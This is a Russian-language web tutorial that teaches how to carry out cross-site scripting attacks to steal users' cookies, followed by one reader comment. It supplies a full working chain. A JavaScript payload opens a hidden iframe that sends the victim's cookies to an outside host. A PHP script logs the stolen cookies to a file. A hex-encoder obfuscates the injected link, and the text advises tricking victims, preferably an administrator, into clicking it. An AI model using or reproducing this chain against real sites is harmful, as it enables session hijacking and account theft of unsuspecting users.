XSS-атака. Общий подход.

Итак, сегодня поговорим об атаке XSS. Давайте для начала разберемся с этой аббревиатурой. Дело в том, что ее часто называют CSS, что может сбить с толку новичка. XSS образовано от английской фразы Cross Site Scripting, что дословно переводится как межсайтовый скрптинг. Отсюда видно, что верная аббревиатура CSS. Но CSS уже существует, она означает Cascading Style Sheets – каскадные таблицы стилей. Чтобы не возникало путаницы, принято межсайтовый скриптинг называть не CSS, а XSS. Это тип уязвимости системы, позволяющий внедрять в код страниц HTML-код. Этот тип уязвимости используется не для атаки сервера, а для атаки его пользователей, просматривающих зараженные страницы.

Чем может быть опасна возможность внедрять свой HTML-код? Сам по себе HTML-код не несет в себе опасности, так как возможностей там не так много. Для расширения его возможностей есть поддержка JavaScript – вот его-то и используют хакеры. Потому как JavaScript исполняется на стороне клиента, этот вид атаки направлен именно на клиентов, а не на сервер.

Смысл этой атаки заключается в том, чтобы узнать значения некоторых переменных у пользователя. А чаще всего, узнать хочется значения тех переменных, которые хранятся у пользователя в COOKIES'ах.

JavaScript позволяет получить доступ к COOKIES пользователя следующим образом:

Quote
document.cookie

Это мы учтем. Но мы не можем просто взять и попросить пользователя пройти по ссылке на наш web-сервер, где ему будет выдана страничка, считывающая все COOKIES. Чтобы пользователи так легко не были взломаны, предусмотрена следующая система:

  • COOKIES’ы сортируются по сайтам, которые их установили пользователю
  • Считать COOKIES определенного сайта (например, сайта www.site.ru) может только сайт, установивший ее (в данном случае, только www.site.ru)


Это нам сильно усложняет жизнь. Надо каким-то образом вставить код, отправляющий эти COOKIES нам, на том сайте, который имеет право на считывание этих COOKIES. Для этого мы ищем на сайте любые места, куда мы можем вставить свой HTML-код. Это могут быть как переменные, передаваемые в командной строке, так и любые другие, которые мы можем модифицировать. Где-нибудь на форумах или в чате это могут быть поля ввода сообщений, или же наш собственный ник. Например, можно ввести в качестве ника:

Quote
mi<B>cr</B>on


Если дальше в нике две средние буквы будут отображаться жирным шрифтом, значит в это поле можно внедрять свой HTML-код.

XSS можно условно разделить на 2 вида:

  • Активные – при которых пользователь сразу зайдя на зараженную страницу, отправит нам свои данные.
  • Пассивные – при которых от пользователя потребуются дополнительные действия. Например, надо будет нажать на специально модифицированную ссылку.


Давайте рассмотрим общий прием того, какой HTML-код следует вписывать на страницу. Для начала нам следует зарегистрировать сайт на каком-нибудь хостинге. Можно на бесплатном. Допустим, это будет myhost.hut.ru. На нем создаем файл file.js со следующим содержимым:

Quote
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://myhost.hut.ru/file.php'+'?host='+location.host+'&cook='+document.cookie+'"></iframe>');


Это и будет нашим атакующим кодом. А вызывать мы его будем путем вставки на уязвимую страницу следующего кода:

Quote
<script src=http://myhost.hut.ru/file.js></script>


Этот код открывает невидимый фрейм, в котором загружается файл http://myhost.hut.ru/file.php (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу). Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIES’ам этого сайта. Вот и сбылся наш план – мы запустили php-скрипт на нашем сервере и передали ему данные, полученные другим скриптом (на JavaScript). Самая сложная часть заканчивается. Теперь мы уже в спокойной обстановке у себя на сервере сохраним эти данные в файл. Для этого запишем в файл file.php следующий код:

Quote
<?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET[‘host’].", COOKIES=”.$_GET[‘cook’].”\r\n");
fclose($file);
?>


Данный код предельно прост – записывает в файл cookies.txt полученные данные.
На этом вобщем-то и заканчивается вся техника. Если для того, чтобы запустить весь описанный механизм от пользователя требуется перейти по определенной ссылке, например:

Quote
http://site.ru/info.php?login=<script src=http://myhost.hut.ru/file.js></script>


то можно зашифровать часть строки (). Так как при переходе по этой ссылке, эта строка будет передаваться в адресной строке браузера, ее можно перевести в шестнадцатеричный код. Для этого можно написать несложный скрипт, пусть он будет называться encodeurl.php:

Quote
<?
$str = urldecode($_GET['str']);
for($i=0;$i<strlen($str);$i++) {
if($str[$i]=='&')
{
echo "$str[$i]";
}
else
{
$hex=dechex(ord($str[$i]));
echo "%$hex";
}
}
?>


И передадим ему параметром str ту часть строки, которую будем шифровать:

Quote
http://myhost.hut.ru/encodeurl.php?str=<script src=http://myhost.hut.ru/file.js></script>


Он выдаст нам следующий текст:

Quote
%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f
%2f%6d%79%68%6f%73%74%2e%68%75%74%2e%72%75%2f%66%69%6c%65%2e
%6a%73%3e%3c%2f%73%63%72%69%70%74%3e


Берем нашу специально модифицированную для атаки ссылку (http://site.ru/info.php?login=) и заменяем в ней часть строки на зашифрованную строку:

Quote
http://site.ru/info.php?login=%3c%73%63%72%69%70%74%20%73%72%63%3d%68
%74%74%70%3a%2f%2f%6d%79%68%6f%73%74%2e%68%75%74%2e
%72%75%2f%66%69%6c%65%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e


Теперь в глаза не бросается вредоносный код. И мы смело можем упрашивать жертву зайти по этой ссылке. Либо разместить ее на форуме, где кто-нибудь ее нажмет (лучше всего, если это будет администратор wink
Ну вот и все, пожалуй...

Автор: micron

Читать комменты и комментировать

Добавить комментарий / отзыв



Защитный код
Обновить

Комментарии   

 
0 # Юрий 02.10.2014 15:30
>лучше всего, если это будет администратор
Хитрый план)
Ответить | Ответить с цитатой | Цитировать
 
XSS-атака. Общий подход. | | 2011-06-05 23:37:31 | | Программирование | | Итак, сегодня поговорим об атаке XSS. Давайте для начала разберемся с этой аббревиатурой. Дело в том, что ее часто называют CSS, что может сбить с толку новичка. XSS образовано от английской фразы | РэдЛайн, создание сайта, заказать сайт, разработка сайтов, реклама в Интернете, продвижение, маркетинговые исследования, дизайн студия, веб дизайн, раскрутка сайта, создать сайт компании, сделать сайт, создание сайтов, изготовление сайта, обслуживание сайтов, изготовление сайтов, заказать интернет сайт, создать сайт, изготовить сайт, разработка сайта, web студия, создание веб сайта, поддержка сайта, сайт на заказ, сопровождение сайта, дизайн сайта, сайт под ключ, заказ сайта, реклама сайта, хостинг, регистрация доменов, хабаровск, краснодар, москва, комсомольск |
 
Поделиться с друзьями: